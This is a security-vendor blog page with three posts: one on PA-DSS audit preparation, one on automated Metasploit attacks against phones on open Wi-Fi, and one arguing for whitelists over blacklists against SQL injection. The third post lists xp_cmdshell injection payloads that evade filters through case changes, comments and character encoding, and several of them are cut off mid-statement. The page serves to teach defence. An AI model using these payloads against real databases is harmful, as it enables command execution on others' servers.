One typical question NetSPI receives from IT managers is “What does PA-DSS entail?” Hopefully, this will give you some answers.
PA-DSS is a set of security practices and requirements developed by the PCI Security Standards Council to “…enhance payment account data security by driving education and awareness of the PCI Security Standards.” The goal of PA-DSS is to help software vendors and others develop secure payment applications that do not store prohibited data, such as full magnetic stripe, CVV2 or PIN data, and ensure their payment applications support compliance with the PCI DSS. Payment applications that are sold, distributed or licensed to third parties are subject to the PA-DSS requirements. By ensuring the compliance of your application with PA-DSS requirements, your company helps facilitate its customers’ PCI DSS compliance.
NetSPI has developed a program guide to assist your company in getting payment applications validated. This guide prepares a company to get ready for the audit and allows them to better understand the requirements of the different pieces of the audit. These include the documentation requirements for the implementation guide, troubleshooting procedures, SDLC documentation including change control, vulnerability and software patching procedures and the training materials that are required. It also goes into the topic of the interviews that will occur as well as the testing of the application. What the program guide does not do is tell the different people in the company what is expected of them before the audit, during audit and after the audit. This validation process can be simple and easy or it can be long and tedious. Work with your auditor to get through the process, they have the experience to get you through the process.
Before the Audit
As a manager, there are processes that have to be planned for and started before the auditors come into your office to start the audit process. The application has to meet the PCI requirements, which include:
Do not retain full magnetic stripe, card validation code or value (CAV2, CID, CVC2, CVV2), or PIN block data
Protect stored cardholder data
Provide secure authentication features
Log payment application activity
Develop secure payment applications
Protect wireless transmissions
Test payment applications to address vulnerabilities
Facilitate secure network implementation
Cardholder data must never be stored on a server connected to the Internet
Facilitate secure remote software updates
Facilitate secure remote access to payment application
Encrypt sensitive traffic over public networks
Encrypt all non-console administrative access
Maintain instructional documentation and training programs for customers, resellers, and integrators
In addition to the application requirements, the documentation has to also be ready.The list of documentation includes:
Implementation guide – The most important document without which testing cannot start
Typical network deployment diagram and data flow diagram
Documentation of remote transmission of cardholder data, such as IPSec, TLS, SSL
New security vulnerabilities identification process/policy documentation
In many instances, use of specific language within policies is required. For example, the implementation guide requirements include required language, such as “Historical data (magnetic stripe data, card validation codes, PINs, or PIN blocks) MUST be removed for PCI compliance.” This wording is required by the PCI Council and if not included, can provide sufficient grounds for the rejection of the Report on Validation (ROV). NetSPI’s PA-DSS Program Guide has been developed expressly with intent of showing such working requirements. As shown in the list above, documentation requirements are not limited to the implementation guide and need to be completed before a ROV can be filed. It’s not enough to have processes in place, such as the security coding standards; they need to be formally documented. Make sure to review the documentation requirements to make sure they are up to date. The last but far from the least important part of the pre-audit process is to educate your employees on the PCI Council’s requirements for a payment application. They need to know that these requirements are not an optional part of the application and that they may be interviewed during the course of the audit. All team members should be familiar with established standards such as the SDLC documentation as well as be aware of the troubleshooting requirements as described in the process documentation.
The next blog entry will talk about what to expect during and after the audit.
Does your phone have a firewall? Does it have antivirus? Should it? I’ll wager your laptop does. That’s because your laptop faces the looming threat of attackers from the internet every time to connect to a network. Additionally, any time you use a network, you expose yourself to the potential for a network level attack. Everyone knows that an unprotected computer is pwnage waiting to happen. So what about your phone? Your phone is connected to the internet 24/7. What’s more, it lacks a lot of the controls that would normally be applied to a network computing device. It has no firewall, no antivirus, and most users can’t even kill processes or modify the file system without voiding their warranty. The user has to rely on the closed nature of the device, and hope there are no exploits roaming the wild. This is paper-thin security at best, especially when you consider the trends in modern phone usage are pushing for more devices containing more sensitive data. So how does an attacker target a mobile device? They don’t have to: given some recent developments in the Metasploit framework, they can initiate wide ranging automated attacks against anyone they can connect to. Consider the open Wi-Fi network, such as at a coffee shop. As customers sit down, and link up laptops and phones, an attacker keeps track of hosts joining the network. Then, leveraging the power of the autopwn feature of Metasploit, an attacker can attempt any number of exploits against any number of hosts, smartphone or not. Your laptop might withstand automated attacks because it has a firewall and antivirus. Your phone doesn’t. There is no “Do you want to allow this app to run?” There is no “Would you like Windows Firewall to allow access to this program?” That’s it. An attacker now has access to your phone’s audio, camera, data access, and any stored credentials or other sensitive data. Metasploit has payloads in development for both the iPhone and Android platforms that will give root access to the phone, pending a successful exploit. Finding more exploits is only a matter of time. So this brings me to my point: Should your phone have a firewall?
No one can deny that SQL Injection is one of the biggest issues plaguing web applications today. However, there is still some ongoing debate around how to fix it. Of course, OWASP and the security community at large understand that whitelisting is a good place to start, but there are still a number of companies who have hunkered down in the blacklisting camp and are refusing to budge. For those who are out of the loop, whitelisting is a technique commonly used to for filtering content based on an approved character set. As a result, any characters not on the whitelist will be blocked. Blacklists work inversely, meaning any characters or groupings of characters that are included in the list will be blocked.
Blacklists essentially fail in the same way that traditional signature based anti-virus solutions do. Anything that is not in the library of “evil” signatures won’t be blocked. As a result, administrators and software venders are in a constant battle to maintain up–to-date blacklists. Unfortunately, blacklisting usually results in a lot of additional man hours and an application that is still vulnerable to advanced SQL injection attacks.
It is important for administrators to understand that, just because the attacks are advanced, the attacker may not be. There are many SQL injection tools freely available on the Internet that provide unskilled attackers with the means to take advantage of common application vulnerabilities. Additionally, administrators should know that many of these types of attacks are indiscriminant. Unskilled attackers often launch mass attacks that use search engines like Google to identify web applications that have common vulnerabilities that they would like to use for their own agendas.
In my experience, companies usually push for blacklisting solutions to fix SQL injection when they are low on time or money. It is true that, in some cases, it is more cost-effective to implement blacklists on existing network devices rather than to go back and actually make global changes to the application’s code base. However, what companies in that situation often forget is that most of the same network devices support web application firewall (WAF) modules that are capable of filtering using whitelists, as well.
Below are a few methods used by online attackers to bypass blacklist filters implemented to prevent SQL injection. Specifically, I’ve shown queries for executing the xp_cmshell extended stored procedure that is native to SQL Server via SQL injection. Don’t forget that many of these methods can be combined.
1. Standard SQL injection query using xp_cmdshell.
‘;exec xp_cmdshell 'dir';--
2. Using the escape character to bypass filters that replace ‘ with ‘ ‘.
‘;exec xp_cmdshell 'dir';-
3. Using upper and lower characters to bypass filters that are case sensitive. Note: The filtering may be case sensitive, but most SQL Server commands are not.
‘;exec xP_cMdsheLL 'dir';-
4. Using comments to avoid xp_cmdshell detection. Note: This method doesn’t work in SQL Server versions after 2000.
‘;ex/**/ec xp_cmds/**/hell ‘dir’;–
5. Using comments to avoid spaces. Note: This works with all versions of SQL Server.
6. Using concatenation to avoid xp_cmdshell detection.
‘;Declare @cmd as varchar(3000);Set @cmd =
7. Using Base64 encoding to avoid xp_cmdshell detection. Note: I don’t believe that there is a native Base64 encode function in SQL Server, but there are many online and baked in to local proxies like Burp. If anyone knows of a native Base64 encode function let me know.
8. Using char function encoding to avoid xp_cmdshell detection. Note: Encoding of characters can be done with the SELECT ASCII(‘T’) query. Also, I think the Firefox Hackbar add-on has an char encoder.
Declare @cmd as varchar(3000);Set @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);–
9. Using Unicode nchar function encoding to avoid xp_cmdshell detection. Note: Unicode character encoding can be done with the SELECT UNICODE(‘a’); query.
Declare @cmd as nvarchar(3000);Set @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+nchar(101)+nchar(114)+nchar(46)+nchar(46)+nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)+nchar(100)+nchar(115)+nchar(104)+nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)+nchar(105)+nchar(114)+nchar(39)+nchar(59));EXEC(@cmd);–
10. Using binary encoded ascii, and the CAST function to avoid xp_cmdshell detection. Note: Binary encoding can be done with the SELECT CAST(‘query’ as binary); query.
‘;Declare @cmd as varchar(3000);Set @cmd =
11. Using binary encoded ascii, and the CONVERT function to avoid xp_cmdshell and CAST detection. Note: Binary encoding can be done with the SELECT CONVERT (binary,’query’ ); query.
‘;Declare @cmd as varchar(3000);Set @cmd =
12. Using sp_sqlexec to avoid EXEC() detection. Note: Yes, I know this one is a little lame, but I like it when my lists end on an even number.
‘;Declare @cmd as varchar(3000);Set @cmd =
I realize that blacklisting characters like “)”, “;“, and ”EXEC” would help prevent a lot of the injections listed above, but the point is that, with a little creativity, attackers can usually find a way around blacklists. For those of you who are interested, I’ve provided some high level steps for preventing SQL injection in web applications below.
Convert all input into a single character set
Put input through a whitelist filter using regular expressions
Use stored procedures
Apply least privileges to all stored procedures, database accounts, and service accounts
What it all boils down to is this, black lists help fight SQL injection problems, while white lists actually help fix them.
Even simpler: whitelists=GOOD; blacklists=PWNED
I would also like to give a shout out to Antti Rantasaari. I’ve work with him on many SQL Injection adventures, and he contributed some ideas to this blog such as number 7 on the list. Thanks Antti!
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
YouTube session cookie.
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Discover why security operations teams choose NetSPI.